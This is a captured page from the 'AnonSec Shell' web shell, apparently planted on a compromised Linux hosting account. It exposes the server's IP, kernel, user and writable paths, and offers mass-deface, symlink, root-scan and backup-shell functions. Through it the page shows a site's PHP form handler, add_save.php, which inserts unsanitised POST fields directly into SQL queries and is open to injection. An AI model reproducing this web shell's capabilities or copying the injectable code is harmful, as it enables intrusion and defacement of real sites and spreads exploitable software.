AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/horo/daily/mybackend/sms2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/horo/daily/mybackend/sms2/add_save.php
<?php require_once("../include/class.php");?>
<?php include("table_name.php");?>


<?php
/*echo '<pre>';
print_r($_POST);
echo '</pre>';
exit;*/


$date = date("Y-m-d H:i:s");

$arr_day = explode('-',$_POST["date_d"]);
$date_dmy = $arr_day[2].'-'.$arr_day[1].'-'.$arr_day[0];

if($_FILES["img"]["error"] == 0)
{
	$name_img = $image_class->image_re($_FILES["img"],$name_table,$wide_img,$upload);	
}


$sql = array('table'=>$name_table,'count'=>'MAX(id) AS id_max');
$view_sql = $view_db->view($sql);
$row = $view_db->q($view_sql);

$id_run = $row['id_max']+1;


$date_getd = $id_run;
$date_encode = base64_encode($date_getd);



$list = array(	
	'table'=>$name_table,
	'id'=>'"'.@$id_run.'"',
	'status'=>'1',
	'name'=>"'".@$_POST["name"]."'",
	'detail1'=>"'".@$_POST["detail1"]."'",
	'detail2'=>"'".@$_POST["detail2"]."'",
	'img'=>"'".@$name_img."'",
	'img_url'=>"'".@$_POST["img_url"]."'",
	'encode'=>"'".$date_encode."'",
	'date'=>"'".$date_dmy."'",
	'createdate'=>"'".$date."'",
	'up_date'=>"'".$date."'"
);
			  
$addM = $actiondata_db->add_db($list);	

$originalURL = 'https://www.simded.com/horo/daily/sms2.php?d='.$date_encode;
include('../include/shoten_id_add.php');

$sql = array('table'=>$name_table,'count'=>'MAX(id) AS max_id','where'=>"");
$view_sql = $view_db->view($sql);
$row = $view_db->q($view_sql);
$max_id = $row['max_id'];

$list2 = array(	
	'table'=>$name_table,
	'id'=>$max_id,
	'shoten'=>$shorturl,
);				
$add2 = $actiondata_db->edit_db($list2);


$_SESSION['er'] = 'true';
if( $addM['suc'] <> 1)
{
	$_SESSION['er'] = 'false';
}
		
?>
<meta http-equiv="refresh" content="0;URL=list.php">
<?php
exit;
?>

Anon7 - 2022
AnonSec Team